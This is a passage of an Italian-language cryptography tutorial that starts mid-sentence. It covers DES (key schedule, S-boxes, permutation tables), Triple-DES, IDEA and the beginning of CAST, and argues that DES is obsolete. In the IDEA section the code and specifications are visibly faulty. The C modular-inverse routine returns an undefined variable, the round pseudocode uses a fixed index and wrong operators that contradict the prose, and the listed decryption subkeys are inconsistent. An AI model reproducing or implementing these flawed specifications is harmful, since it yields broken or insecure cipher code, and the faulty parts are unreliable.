altri. Il DES (Data Encryption Standard) | | viene adottato dal governo degli Stati Uniti nel 1977 come standard | | federale. Esso deriva dall'algoritmo Lucifer inventato dall'IBM nei | | primi anni '70. Mentre Lucifer era ancora in via di sviluppo ai | | laboratori IBM, il National Bureau of Standard (NBS), diventato poi il | | NIST, sollecitò l'industria americana alla creazione di un nuovo | | standard crittografico per la protezione di dati riservati ma non | | classificati come "militari". L'NBS non fu accontentato molto presto, | | forse perchè il governo americano non ha mai incoraggiato ricerche in | | questo campo, comunque nel 1974 l'IBM propose un Lucifer modificato cui | | fu dato il nome di DES. Vuoi per le sospette "difficoltà" che | | generalmente trovano altri algoritmi ad essere accettati, vuoi per | | pigrizia, e nonostante la validità di questo standard che avrebbe dovuto | | essere di 5-10 anni, il DES oggi è ancora lo standard ufficiale e questo | | rende il lavoro dei crittanalisti molto più facile ;) Se non lo sapeste | | infatti, questo algoritmo è quello utilizzato nelle versioni meno | | recenti dei sistemi *nix e di molti altri OS per crittare le password | | degli utenti, quindi il fatto che programmi tipo John the Ripper e | | CrackerJack svolgano egregiamente il loro compito dovrebbe già bastare a | | sconsigliarne ormai l'uso. | | | | | | [ SPECIFICHE TECNICHE ] | | | | Il DES è un codice cifrato a blocchi della famiglia dei cifrari Feistel | | che può essere usato in tutte le modalità ECB, CBC, CFB e OFB. | | Progettato inizialmente per implementazioni hardware, è facilmente | | emulabile via software. Esso lavora su blocchi di plaintext di 64 bit. | | La chiave è una sequenza di 64 bit, divisa in 8 bytes. L'ultimo bit di | | ogni byte è un bit di parità (parity bit: si sceglie in modo che tra | | tutti gli 8 bit complessivi ce ne sia sempre un numero dispari allo | | stato "1", in modo da intercettare e riconoscere eventuali errori di | | trasmissione), quindi la chiave è di 56 bit effettivi, ormai decisamente | | pochi anche per resistere ad un attacco brute-forcing tramite un pc | | domestico. Da notare inoltre che questo va pesantemente a scapito della | | sicurezza, poichè la chiave è PIU' PICCOLA dei blocchi! Ciò significa | | che come nei cifrari di permutazione è teoricamente possibile, dato un | | certo messaggio, trovare degli output che non saranno MAI producibili, | | con tutto ciò che ne consegue... | | | | Le operazioni utilizzate durante ogni singolo round sono piuttosto | | semplici, come Xor, permutazione e sostituzione, ma arrangiate durante | | tutti i 16 round dell'algoritmo in modo tale da risultare estremamente | | complicati da analizzare. | | | | Dal canto mio, come di molti crittologi, sono piuttosto avverso | | all'utilizzo del DES così come di tutti quegli algoritmi progettati | | inizialmente per implementazioni hardware, questo per diverse buone | | ragioni tra le quali la dimensione ridicola della chiave, la vecchiaia, | | la lentezza, l'elevato numero di round, la complessità delle S-Box | | etc... Il processo DES probabilmente potrebbe essere "sfoltito" di una | | buona parte dei round e delle operazioni senza inficiarne la sicurezza | | già peraltro limitata. | | | | Spiegare dettagliatamente il funzionamento del DES è un'impresa rognosa. | | Nella mia vita (non solo in crittologia) io ho sempre trovato metodi di | | spiegazione dall'alto al basso livello, cioè fatti in modo da PRIMA dare | | una visione generale del procedimento, POI approfondire le varie parti. | | Ad esempio, lo spiegare prima il funzionamento generale del cifrario e | | poi scendere giù fino all'analisi delle S-Box del DES sarebbe una | | spiegazione di questo tipo. | | Non mi piace. Personalmente mi sono sempre trovato più in difficoltà ad | | imparare in questo modo, almeno per quanto riguarda la crittologia. Per | | questo motivo partirò dal basso livello: comincerò coll'illustrare le | | S-Box del DES, il modulo di permutazione e di espansione, poi la | | funzione F etc, in modo da cominciare in pratica coi "mattoni" che | | costituiranno l'"edificio"... | | | | Il DES utilizza 16 round, che indicherò con i (da 1 a 16) | | | | | | < CHIAVE > | | Accetta una password di 8 byte o dall'utente o da un'altra fonte. Finora | | la chiave è di 64 bit. | | | | | | < GENERAZIONE DELLE SOTTOCHIAVI > | | | | - Effettua una permutazione sulla chiave di 64 bit, scartando | | contemporaneamente i bit di parità, secondo questo schema di | | permutazione: | | | | | | BIT DELLA DIVENTA IL BIT | BIT DELLA DIVENTA IL BIT | | CHIAVE PERMUTATO | CHIAVE PERMUTATO | | ORIGINALE CORRISPONDENTE: | ORIGINALE CORRISPONDENTE: | | - - - - - - - - - - - - - - - - - + - - - - - - - - - - - - - - - - - | | 1 --> 8 | 33 --> 4 | | 2 --> 16 | 34 --> 12 | | 3 --> 24 | 35 --> 20 | | 4 --> 56 | 36 --> 28 | | 5 --> 52 | 37 --> 48 | | 6 --> 44 | 38 --> 40 | | 7 --> 36 | 39 --> 32 | | 8 scartato | 40 scartato | | 9 --> 7 | 41 --> 3 | | 10 --> 15 | 42 --> 11 | | 11 --> 23 | 43 --> 19 | | 12 --> 55 | 44 --> 27 | | 13 --> 51 | 45 --> 47 | | 14 --> 43 | 46 --> 39 | | 15 --> 35 | 47 --> 31 | | 16 scartato | 48 scartato | | 17 --> 6 | 49 --> 2 | | 18 --> 14 | 50 --> 10 | | 19 --> 22 | 51 --> 18 | | 20 --> 54 | 52 --> 26 | | 21 --> 50 | 53 --> 46 | | 22 --> 42 | 54 --> 38 | | 23 --> 34 | 55 --> 30 | | 24 scartato | 56 scartato | | 25 --> 5 | 57 --> 1 | | 26 --> 13 | 58 --> 9 | | 27 --> 21 | 59 --> 17 | | 28 --> 53 | 60 --> 25 | | 29 --> 49 | 61 --> 45 | | 30 --> 41 | 62 --> 37 | | 31 --> 33 | 63 --> 29 | | 32 scartato | 64 scartato | | | | - Ora abbiamo una chiave effettiva di 56 bit, bisogna effettuare 16 | | cicli per ottenere le 16 sottochiavi: | | | | for (i = 1 to 16) { | | | | - Spezziamo la chiave derivata in due metà da 28 bit, "D"estra e | | "S"inistra. | | | | - ROLliamo sia D che S di tot posizioni a seconda dell'iterazione | | (i) in cui ci troviamo, secondo la seguente tabella: | | | | iterazione (i) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | | #posizioni ROL: 1 1 2 2 2 2 2 2 1 2 2 2 2 2 2 1 | | | | - Riuniamo D ed S per ottenere la chiave derivata (sempre di 56 bit | | finora) da usare nella prossima iterazione | | | | - Utilizziamo un altro modulo di permutazione-riduzione, che | | prende 48 bit dei 56 che abbiamo, precisamente i bit di posizione: | | | | 14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, | | 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, | | 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, | | 50, 36, 29, 32 | | | | e li mette insieme in quest'ordine per formare la sottochiave(i) | | di 48 bit. | | | | } abbiamo ottenuto 16 sottochiavi da 48 bit. | | | | | | < LE S-BOX > | | | | Ci sono 8 S-Box nel DES, contrassegnate come S(j), dove j va da 1 a 8. | | Tutte queste S-Box sono tabelle formate da 16 colonne e 4 righe, in ogni | | | | cella c'è un numero a 4 bit (da 0 a 15). In tutto ci sono 4 * 16 = 64 | | celle per ogni S-Box, quindi è logico che ogni elemento si ripeterà più | | volte in una stessa S-Box. Queste S-Box funzionano così: tu gli dici il | | numero di riga (da 0 a 3) e di colonna (da 0 a 15) e loro ti | | restituiscono il valore individuato da questa coppia di "coordinate". | | Ecco le S-Box: | | | | | | S[1] | | | | 14 4 13 1 2 15 11 8 3 10 6 12 5 9 0 7 | | 0 15 7 4 14 2 13 1 10 6 12 11 9 5 3 8 | | 4 1 14 8 13 6 2 11 15 12 9 7 3 10 5 0 | | 15 12 8 2 4 9 1 7 5 11 3 14 10 0 6 13 | | | | | | S[2] | | | | 15 1 8 14 6 11 3 4 9 7 2 13 12 0 5 10 | | 3 13 4 7 15 2 8 14 12 0 1 10 6 9 11 5 | | 0 14 7 11 10 4 13 1 5 8 12 6 9 3 2 15 | | 13 8 10 1 3 15 4 2 11 6 7 12 0 5 14 9 | | | | | | S[3] | | | | 10 0 9 14 6 3 15 5 1 13 12 7 11 4 2 8 | | 13 7 0 9 3 4 6 10 2 8 5 14 12 11 15 1 | | 13 6 4 9 8 15 3 0 11 1 2 12 5 10 14 7 | | 1 10 13 0 6 9 8 7 4 15 14 3 11 5 2 12 | | | | | | S[4] | | | | 7 13 14 3 0 6 9 10 1 2 8 5 11 12 4 15 | | 13 8 11 5 6 15 0 3 4 7 2 12 1 10 14 9 | | 10 6 9 0 12 11 7 13 15 1 3 14 5 2 8 4 | | 3 15 0 6 10 1 13 8 9 4 5 11 12 7 2 14 | | | | | | S[5] | | | | 2 12 4 1 7 10 11 6 8 5 3 15 13 0 14 9 | | 14 11 2 12 4 7 13 1 5 0 15 10 3 9 8 6 | | 4 2 1 11 10 13 7 8 15 9 12 5 6 3 0 14 | | 11 8 12 7 1 14 2 13 6 15 0 9 10 4 5 3 | | | | | | S[6] | | | | 12 1 10 15 9 2 6 8 0 13 3 4 14 7 5 11 | | 10 15 4 2 7 12 9 5 6 1 13 14 0 11 3 8 | | 9 14 15 5 2 8 12 3 7 0 4 10 1 13 11 6 | | 4 3 2 12 9 5 15 10 11 14 1 7 6 0 8 13 | | | | | | S[7] | | | | 4 11 2 14 15 0 8 13 3 12 9 7 5 10 6 1 | | 13 0 11 7 4 9 1 10 14 3 5 12 2 15 8 6 | | 1 4 11 13 12 3 7 14 10 15 6 8 0 5 9 2 | | 6 11 13 8 1 4 10 7 9 5 0 15 14 2 3 12 | | | | | | S[8] | | | | 13 2 8 4 6 15 11 1 10 9 3 14 5 0 12 7 | | 1 15 13 8 10 3 7 4 12 5 6 11 0 14 9 2 | | 7 11 4 1 9 12 14 2 0 6 10 13 15 3 5 8 | | 2 1 14 7 4 10 8 13 15 12 9 0 3 5 6 11 | | | | | | < LA FUNZIONE Z(B[j]) > | | | | Questa funzione accetta in entrata un input B che è un valore a 6 bit | | (da 0 a 63) e un indice j (quello di prima, da 1 a 8) e restituisce un | | valore a 4 bit utilizzando una S-Box, in questo modo: | | | | - Prende il valore a 6 bit in ingresso, es:... 011011 (27) | | |....| | | - Prende il primo e l'ultimo bit di questo |....| | | valore e li considera insieme come un |....| | | valore a 2 bit (m), es:..................... 0....1 = 01 = 1 | | .... | | - Prende gli altri 4 bit e li considera .... | | insieme come un valore a 4 bit (n), es:..... 1101 = 13 | | | | - passa m ed n come indicatori rispettivamente di riga e colonna alla | | S-Box S(j) e restituisce lo stesso valore a 4 bit indicato dalla | | S-Box. | | | | | | < IL MODULO DI ESPANSIONE E > | | | | Questo modulo d'espansione accetta un input a 32 bit e restituisce un | | output a 48 bit. In pratica seleziona i bit dall'input e li trascrive | | nei 48 bit dell'output in questo ordine: | | | | 32 1 2 3 4 5 | | 4 5 6 7 8 9 | | 8 9 10 11 12 13 | | 12 13 14 15 16 17 | | 16 17 18 19 20 21 | | 20 21 22 23 24 25 | | 24 25 26 27 28 29 | | 28 29 30 31 32 1 | | | | leggendo da sinistra a destra e dall'alto in basso. | | | | | | < MODULO DI PERMUTAZIONE P > | | | | Questo schema anagramma i bit di un blocco da 32 bit ordinandoli in | | questa sequenza: | | | | 16 7 20 21 | | 29 12 28 17 | | 1 15 23 26 | | 5 18 31 10 | | 2 8 24 14 | | 32 27 3 9 | | 19 13 30 6 | | 22 11 4 25 | | | | leggendo da sinistra a destra e dall'alto in basso. | | | | | | < MODULO DI PERMUTAZIONE INIZIALE PI > | | | | Questo schema anagramma i bit di un blocco da 64 bit ordinandoli in | | questa sequenza: | | | | 58 50 42 34 26 18 10 2 | | 60 52 44 36 28 20 12 4 | | 62 54 46 38 30 22 14 6 | | 64 56 48 40 32 24 16 8 | | 57 49 41 33 25 17 9 1 | | 59 51 43 35 27 19 11 3 | | 61 53 45 37 29 21 13 5 | | 63 55 47 39 31 23 15 7 | | | | leggendo da sinistra a destra e dall'alto in basso. | | | | | | < MODULO DI PERMUTAZIONE FINALE PF > | | | | Praticamente effettua l'ordinamento inverso rispetto alla permutazione | | precedente, secondo lo schema: | | | | 40 8 48 16 56 24 64 32 | | 39 7 47 15 55 23 63 31 | | 38 6 46 14 54 22 62 30 | | 37 5 45 13 53 21 61 29 | | 36 4 44 12 52 20 60 28 | | 35 3 43 11 51 19 59 27 | | 34 2 42 10 50 18 58 26 | | 33 1 41 9 49 17 57 25 | | | | leggendo da sinistra a destra e dall'alto in basso. | | | | | | < ALGORITMO DES > | | | | - Si calcolano le 16 sottochiavi | | | | - Si prende il blocco di plaintext da 64 bit e si anagramma usando il | | modulo PI | | | | - Si divide in due metà destra e sinistra, R[0] ed L[0], da 32 bit l'una | | | | | | - Si eseguono 16 round, da 1 a 16: | | | | for (i = 1 to 16) { | | | | - si prende R[i-1] e si espande col modulo E a 48 bit | | | | - Si XORa con la sottochiave(i) | | | | - Il risultante blocco a 48 bit si divide in 8 blocchi di | | 6 bit l'uno, indicati con B(j) | | | | for (j = 1 to 8) { | | | | - Prendo il blocco B[j] e lo passo alla funzione Z(B[j]) : | | B[j] = Z(B[j]) | | | | } ora ho 8 blocchi B[j] da 4 bit l'uno | | | | - Riunisco tutti gli 8 sottoblocchi B[j] per formare un unico | | blocco B da 32 bit | | | | - Applico il modulo di permutazione P al blocco B | | | | - Effettuo uno Xor tra il blocco ottenuto e la metà sinistra | | del testo prodotto dal round precedente, il risultato è la | | nuova metà destra. In pratica: R[i] = B ^^ L[i-1] | | | | - La nuova metà sinistra invece è la vecchia metà destra: | | L[i] = R[i-1] | | | | } ora abbiamo passato tutti i 16 round utilizzando tutte le | | 16 sottochiavi. | | | | - Si riuniscono le due metà finali, R[16] e L[16], per formare un'unico | | blocco, C | | | | - Passo questo blocco al modulo PF, invertendo la permutazione iniziale, | | | | ed ottengo finalmente il mio cyphertext. | | | | Gli schemi sono ripresi da: | | http://www.s0ftpj.org/bfi/online/bfi1/bfi1.05.html | | | | Trattandosi di un cifrario Feistel la decrittazione è identica, solo | | che l'ordine delle sottochiavi è invertito. | | | | | | | | ================================ | | *** TDES / 3DES / Triple-DES *** | | ================================ | | | | E' un'implementazione "moderna" del DES, nata dal fatto che una chiave a | | 56 bit ormai fa ridere. Questo sistema usa sempre l'algoritmo DES, in | | qualsiasi modalità, ma invece di usare una sola chiave a 56 bit ne usa | | una da 112 o 168, da spezzare in due o tre chiavi da 56 bit (quelle | | normalmente usate dal DES). A questo punto l'algoritmo prende in input | | un blocco di plaintext da 64 bit, ma invece di trasformarlo direttamente | | nel blocco di cyphertext effettua una catena encrypt-decrypt-encrypt | | usando le due o tre chiavi diverse. L'applicazione più usata è quella a | | due chiavi, per un totale di 112 bit (comunque inferiore allo standard | | attuale di 128). In questo caso si critta il blocco con la prima chiave, | | poi si decritta con la seconda chiave e quindi si ricritta con la prima | | chiave ottenendo il cyphertext. Se si usano tre chiavi invece si usano | | la prima e la terza per crittare e la seconda per decrittare. Si usa la | | catena encrypt-decrypt-encrypt perchè usando una sola chiave per tutte e | | tre si ottiene un procedimento praticamente identico al DES normale, | | cosa che va a favore della compatibilità con vecchie applicazioni. Il | | TDES a tre chiavi è TEORICAMENTE piuttosto sicuro per quanto riguarda il | | keysize (dimensione chiave), ma vari recenti attacchi di crittanalisi al | | DES standard dovrebbero far capire alla gente che il DES non è più ormai | | roba di cui ci si possa fidare (e forse non lo è mai stato...). Inoltre | | c'è da tenere conto di altri due aspetti: prima di tutto il TDES è forse | | l'algoritmo più lento oggi in circolazione (3 volte più lento del DES, | | che è già di per sè lentino...). Secondo, nella catena | | encrypt-decrypt-encrypt dovrete usare per forza l'algoritmo in modalità | | decrittazione, cosa che come sappiamo si può evitare usando la modalità | | CFB o OFB con qualsiasi altro algoritmo. | | In parole povere: vi consiglio di non usarlo! | | | | | | | | | | | | ============ | | *** IDEA *** | | ============ | | | | L'IDEA (International Data Encryption Algorithm) è stato | | ideato dai famosi crittologi Xuejja Lai e James L.Massey nel 1991 | | all'ETH di Zurigo inizialmente sotto il nome di IPES (Improved Proposed | | Encryption Standard). Non è chiaro se sia più o meno sicuro del TDES, | | anche se alcuni crittologi ritengono che il TDES sia più sicuro. Di | | sicuro è uno dei cifrari a blocchi più veloci, e comunque è in giro | | ormai da parecchio tempo ed è considerato piuttosto affidabile, tanto da | | essere usato normalmente dal PGP e dai protocolli SSL. | | L'IDEA è patentato nei seguenti paesi: | | | | licenza N° scadenza | | | | USA 5'214'703 (16 Maggio 1991) 25 Maggio 2010 | | Europa* 0482154 (16 Maggio 1991) 16 Maggio 2011 | | Giappone 508119/1991 (16 Maggio 1991)** | | | | | | * = Austria, France, Germany, Italy, Netherlands, Spain, Sweden, | | Switzerland, United Kingdom | | ** = non ancora applicata | | | | La licenza è detenuta dalla Ascom Tech. L'uso non commerciale è free, | | per l'uso commerciale si deve contattare la Ascom . | | Questo almeno fino a un po' di tempo fa, ora sembra che la patente sia | | stata acquistata dalla MediaCrypt, con le stesse restrizioni di cui | | sopra. | | | | | | | | [ SPECIFICHE TECNICHE ] | | | | L'IDEA è un cifrario a blocchi che si basa sul concetto di mescolare | | operazioni di differenti gruppi algebrici. Può essere utilizzato in | | tutte le quattro modalità. Esso lavora su blocchi di 64 bit ed usa una | | chiave di 128 bit, compie 8 round più una trasformazione finale, usando | | ben 52 sottochiavi diverse da 16 bit. A differenza del DES, l'IDEA è | | stato progettato per implementazione software. | | Da segnalare che sembra siano state trovate chiavi deboli e semideboli | | per questo algoritmo, ma sono per ora solo voci di corridoio. Uno degli | | attacchi migliori che si conoscano usa la tecnica differenziale di | | Biham, Shamir e Biryukov, ma comunque sia essi riescono ad attaccare | | soltanto 4.5 round dell'IDEA e ciò non rappresenta una minaccia per ora | | agli 8.5 round totali dell'algoritmo. | | | | L'IDEA è un algoritmo molto interessante. Non è un cifrario Feistel, ma | | ha ugualmente la proprietà di funzionare secondo lo stesso algoritmo | | anche in decrittazione senza bisogno di "andare a ritroso", l'unica | | differenza è che le 52 sottochiavi vengono generate in maniera diversa. | | All'interno di ogni round l'algoritmo lavora solo ed esclusivamente su | | blocchi di 16 bit ottenuti segmentando il blocco in input (le | | sottochiavi sono già di 16 bit). Il motivo di ciò è spiegato più avanti, | | per ora basti notare che in ogni round il blocco in input da 64 bit | | viene segmentato in 4 blocchi da 16 bit, indicati con A[i], B[i], C[i] e | | D[i]. | | | | L'IDEA usa solo e soltanto tre operatori, ovvero lo Xor (effettuato tra | | due blocchi di 16 bit), l'addizione modulare (sempre effettuata tra due | | blocchi di 16 bit) e la MOLTIPLICAZIONE modulare, che indicherò con (*) | | (sempre effettuata tra due blocchi di 16 bit). | | La sicurezza dell'IDEA sta nelle proprietà di Confusione e Diffusione. | | La Confusione si ottiene mischiando operazioni di tre gruppi algebrici | | "incompatibili", incompatibili perchè: | | | | - Nessuna coppia di queste tre operazioni ha la proprietà | | distributiva: | | | | A (+) (B (*) C) != (A (+) B) (*) (A (+) C) | | | | - Nessuna coppia di queste tre operazioni ha la proprietà | | associativa generalizzata (una specie di commutativa): | | | | A (+) (B ^^ C) != (A (+) B) ^^ C | | | | Inoltre, queste tre operazioni sono arrangiate in modo che l'output di | | una di esse non viene usato MAI come input di un'operazione dello stesso | | tipo (cioè nessun sottoblocco viene processato due volte di fila dalla | | stessa operazione). La Diffusione invece si ottiene facendo | | in modo che ogni sottoblocco di output dipende direttamente | | o indirettamente da tutti i 4 sottoblocchi in input, e in ogni | | round il numero minimo di operazioni è 4. | | Il risultato di tutto questo studio è che l'IDEA NON USA S-BOX (cosa | | che, secondo me, è molto positiva), non ne ha bisogno perchè utilizzando | | sottoblocchi di grandezza fissa (16 bit) può utilizzare le operazioni in | | maniera "particolare", a patto che siano tutte invertibili. Lo Xor è | | sempre invertibile, l'addizione modulare è una normale addizione in | | modulo 2^16, cioè 65536, ed è anch'essa sempre invertibile; la | | moltiplicazione modulare richiede alcune spiegazioni... | | | | La moltiplicazione per 0 dà sempre 0 e non è invertibile, quindi bisogna | | escogitare un modo per far sì che non si cerchi mai di moltiplicare due | | numeri dei quali uno è 0. La moltiplicaziome modulare modulo M non è | | neanche essa invertibile, A MENO CHE i due fattori siano primi relativi | | di M. Nel nostro caso M è 65536, cioè 2^16, i suoi fattori sono solo | | tanti 2, il che significa che per numeri dispari la moltiplicazione | | modulo 65536 è invertibile. Ma la cosa a noi purtroppo non fa comodo, | | perchè significa che ogni volta che moltiplichiamo un blocco che ha | | l'ultimo bit posto a 0 (cioè rappresenta un numero pari) produciamo un | | risultato one-way, azz... come possiamo fare? | | Fortunatamente c'è un sistema molto migliore. Da sapere innanzitutto che | | tutti i numeri primi che possono essere scritti come (2^n)-1 si chiamano | | "Numeri di Marsenne", mentre quelli che si possono scrivere cme (2^n)+1 | | sono "Numeri di Fermat"... | | CASUALMENTE infatti, per n=16 ABBIAMO UN NUMERO DI FERMAT, il che | | significa che 65537 è primo! In pratica, se noi costruiamo una tabella | | per la moltiplicazione (come quelle che si facevano alle elementari) | | però in modulo 65537, per tutti i numeri da 1 (perchè lo 0 abbiamo detto | | che non è compreso) a 65536, otteniamo una tabella in cui per ogni riga | | e per ogni colonna ogni elemento si ripete una ed una sola volta, | | abbiamo cioè ottenuto quello che si definisce un QUADRATO LATINO. Il | | motivo è semplice: abbiamo detto che una moltiplicazione modulare modulo | | M tra X e Y è invertibile solo se sia X che Y sono primi relativi con M. | | Se M è un numero primo significa che l'operazione non sarebbe | | invertibile solo e solo se X oppure Y fossero MULTIPLI di M (ovvero M, | | 2M, 3M, 4M etc...), o quantomeno lo contengano come fattore. | | Ma questo significa che X o Y dovrebbero essere UGUALI O MAGGIORI di M, | | e, trattandosi di un'operazione modulare, gli operandi (e anche il | | risultato) sono sempre per forza INFERIORI ad M!!! | | Ora possiamo mettere insieme tre considerazioni: | | | | - io lavoro con blocchi a 16 bit, quindi posso rappresentare tutti i | | numeri da 0 a 65535 | | | | - con 16 bit non riesco a rappresentare il numero 65536 | | | | - il blocco NULL, che mi rappresenterebbe lo 0, non posso | | utilizzarlo, quindi questo valore del blocco è "sprecato" | | | | eheheh... | | | | non vorrai mica farlo, vero?... | | | | E INVECE SIII'!!! =) | | Nell'IDEA, riguardo alla moltiplicazione modulare, il numero 0 si | | considera EQUIVALENTE al numero 65536! In questo modo l'operazione | | diventa una vera propria moltiplicazione modulare, ma in modulo 65537 | | (quindi in un Campo di Galois), ed è sempre invertibile. Il che | | significa che, dato un numero Z, è possibile trovare un numero Z' tale | | che: | | | | Z (*) Z' = 1 (Mod M) | | | | Tale numero sarà chiamato INVERSO MOLTIPLICATIVO DI Z (un po' come il | | complemento a uno nell'addizione) e sarà indicato come Z^(-1). Ciò | | significa anche che data l'operazione: | | | | X (*) Y = Z (Mod M) | | | | si può trovare un numero Y' tale che: | | | | Z (*) Y' = X (Mod M) | | | | che, se non stessimo lavorando in aritmetica modulare, si sarebbe potuto | | scrivere: | | | | Z / Y = X | | | | per questo si usa la notazione delle potenze, cioè ^(-1), proprio per la | | proprietà della potenza di realizzare l'inverso moltiplicativo elevando | | a -1. | | | | Nella pratica, è possibile trovare l'inverso moltiplicativo di un numero | | sfruttando l'Algoritmo di Euclide Esteso (Extended Euclidean Algorithm), | | non ho il tempo di commentarvelo quindi ve lo dò raw e già ottimizzato | | in codice C: | | | | /* Algoritmo per trovare l'inverso moltiplicativo di un | | numero N in modulo M se M è primo relativo con N */ | | | | unsigned mult_inverse(unsigned M, unsigned N) { | | unsigned t0, t1, c, q; | | t1 = 1; | | if (N == 1) {return t1}; | | t0 = M / N; | | c = M % N; | | while (c != 1) { | | q = N / c; | | N %= c; | | t1 += q * t0; | | if (N == 1) {return t1}; | | q = c / N; | | c %= N; | | t0 += q * t1; | | } | | return a-t0; | | } | | | | | | Nella pratica, il nostro modulo spesso supera di 1 il massimo valore che | | possiamo rappresentare (ma pork... che sfiga!), indicato con UINT_MAX, | | ad esempio potremmo voler far coincidere la dimensione del campo con la | | dimensione di un registro del processore, per ottimizzare la velocità. | | Allora si può ricorrere ad un trucco apposito per fare ciò, ecco il | | codice: | | | | /* Algoritmo per trovare l'inverso moltiplicativo di un | | un numero N in un campo finito che coincide con | | UINT_MAX + 1 */ | | | | unsigned mult_inverse(unsigned N) | | { | | unsigned t0, t1, c, q; | | t1 = 1; | | if (N == 1) {return t1}; | | t0 = UINT_MAX / N; | | c = UINT_MAX % N + 1; | | while (c != 1) { | | q = N / c; | | N %= c; | | t1 += q * t0; | | if (N == 1) {return t1}; | | q = c / N; | | c %= N; | | t0 += q * t1; | | } | | return -t0; | | } | | | | Da notare anche che l'IDEA usa i registri semplici da 16 bit cioè ax, | | bx etc., quindi può essere tranquillamente implementato nella vecchia | | modalità 16 bit guadagnando moltissimo in velocità. | | | | | | [ DESCRIZIONE DELL'ALGORITMO ] | | | | L'algoritmo IDEA è molto diverso dal DES, potremmo dire anche che a | | prima vista è molto più semplice, specialmente per quel che riguarda la | | generazione delle sottochiavi. | | | | | | < GENERAZIONE DELLE SOTTOCHIAVI > | | | | - Si divide la chiave da 128 bit in 8 blocchi da 16 bit l'uno, che sono | | le prime 8 sottochiavi. | | | | - Si ROLla la chiave di 25 posizioni, ottenendo una nuova chiave di 128 | | bit. | | | | - Si ripetono i due punti sopra finchè non si sono generate 52 | | sottochiavi, che indichiamo con k[]. | | | | | | < CRITTAZIONE > | | | | - Divido il blocco in input da 64 bit in 4 sottoblocchi da 16 bit, A, B, | | C e D. | | | | - eseguo i primi 7 round utilizzando 6 sottochiavi per volta: | | | | for (i = 0 to 6) { | | | | - moltiplico A per k[6*i + 1] | | | | - aggiungo k[6*i + 2] a B | | | | - aggiungo k[6*i + 3] a C | | | | - moltiplico D per k[6*i + 4] | | | | - calcolo A ^^ C = E | | | | - calcolo B ^^ D = F | | | | - moltiplico E per k[6*i + 5] | | | | - aggiungo E ad F | | | | - moltiplico F per k[6*i + 6] | | | | - aggiugo F ad E | | | | - modifico A e C XORando F con i loro valori | | | | - modifico B e D XORando E con i loro valori | | | | - inverto di posto (swappo) B e C | | | | } ho effettuato i primi 7 round utilizzando le sottochiavi fino a | | k[42] | | | | - effettuo l'8° round, che è identico salvo il fatto che alla fine non | | swappo B e C. Ora ho usato le sottochiavi fino a k[48] | | | | - effettuo la trasformazione finale: { | | | | - moltiplico A per k[49] | | | | - aggiungo k[50] a B | | | | - aggiungo k[51] a C | | | | - moltiplico D per k[52] | | | | } | | | | - riunisco A, B, C e D per formare il cyphertext. | | | | | | Il fatto che l'IDEA sia un algoritmo ideato per il software lo si vede | | anche dalla facilità con cui si può schematizzare in linguaggio di | | programmazione: | | | | for (i = 0 to 7) { | | A += (*) K[6*1 + 1]; | | B += k[6*1 + 2]; | | C += k[6*1 + 3]; | | D = D (*) K[6*1 + 1]; | | E = A ^^ C; | | F = B ^^ D; | | E = E (*) k[6*i + 5]; | | F += E; | | F = F (*) k[6*i + 6]; | | E += F; | | A = A ^^ F; | | C = C ^^ F; | | B = B ^^ E; | | D = D ^^ E; | | if (i != 7) {swap (B, C)}; | | }; | | A = A (*) k[49]; | | B = B (*) k[50]; | | C = C (*) k[51]; | | D = D (*) k[52]; | | | | | | < DECRITTAZIONE > | | | | Come può un round IDEA essere invertibile se tutti i quattro | | sottoblocchi vengono modificati contemporaneamente secondo una funzione | | basata su tutti e 4 i loro vecchi valori? Il trucco sta nel fatto che, | | ad esempio, il risultato di A Xor C non cambia se sia A che C sono | | XORati per lo stesso valore, di quel valore non rimane traccia, non | | importa quale fosse stato. E lo stesso succede per B Xor D. E siccome i | | valori usati sono entrambi funzioni invertibili di (A Xor C) e (B Xor | | D), essi sono ancora effettivamente disponibili. | | E' questo sistema incrociato la principale caratteristica dell'IDEA, | | anche se l'assenza di S-Box è ugualmente importante. | | Il procedimento di decrittazione, come già detto, segue lo stesso | | algoritmo, ma le sottochiavi sono generate in maniera diversa. In | | particolare, ogni sottochiave è l'inverso della chiave usata per la | | crittazione rispetto all'operazione usata, inoltre le sottochiavi sono | | usate in ordine inverso. In pratica: | | | | - si calcolano le normali chiavi k[] da 1 a 52. | | | | - le prime 4 chiavi di decrittazione kd[] saranno l'inverso delle ultime | | | | 4 chiavi k[]: | | | | kd[1] = k[49]^(-1) | | kd[2] = ~k[49] | | kd[3] = ~k[49] | | kd[4] = k[52]^(-1) | | | | - le altre seguono un andamento di questo tipo: | | | | kd[5] = k[47] | | kd[6] = k[48] | | kd[7] = k[43]^(-1) | | kd[8] = ~k[45] | | kd[9] = ~k[44] | | kd[10] = k[46]^(-1) | | | | e così via. | | | | L'IDEA è secondo me uno dei migliori algoritmi simmetrici in | | circolazione, inoltre è ormai in giro da anni ed è considerato | | sicurissimo. Sarei più propenso, comunque, ad adottare uno dei nuovi | | algoritmi con chiave a 256 bit, come il CAST6 o l'AES, ma è ancora | | troppo presto per capire se questi nuovi prodotti sono affidabili. Come | | già detto altrove, per ora il collo di bottiglia sono gli algoritmi | | asimmetrici (in elliptic curves we trust...) e le funzioni di hashing. | | | | | | | | | | | | ============ | | *** CAST *** | | ============ | | | | E' un cifrario ideato in Canada da Carlisle Adams e Stafford Tavares | | (dalle cui iniziali deriva il nome) nel 1996, quindi è piuttosto | | recente. Pur tuttavia esso è stato analizzato a fondo e non si conosce | | ancora nessun attacco contro di esso, specialmente la versione standard | | a 128 bit sembra piuttosto sicura. Inoltre non si è a conoscenza di | | chiavi deboli o semi deboli. | | Esso è stato ideato dagli autori per essere liberamente diffuso free | | nella comunità Internet, di conseguenza il suo uso, sia commerciale che | | non commerciale, è permesso anche negli USA. Questo, unito anche alla | | sua ottima velocità (3.3 MB/s su un processore Pentium 150 MHz!) ne fa | | forse uno dei migliori cifrari oggi disponibili al pubblico della Rete. | | | | | | [ SPECIFICHE TECNICHE ] | | | | Il CAST è un cifrario Feistel che può essere usato in tutte le modalità. | | Esso è un algoritmo parametrico, il che significa che la dimensione | | della chiave, il numero di round e addirittura le stesse S-Box possono | | variare. La dimensione della chiave va dai 40 ai 128 bit, variabile di 8 | | bit per volta (quindi 48, 56, 64 etc...). La versione standard del CAST | | è quella a 128 bit, indicata come CAST5, che però come già 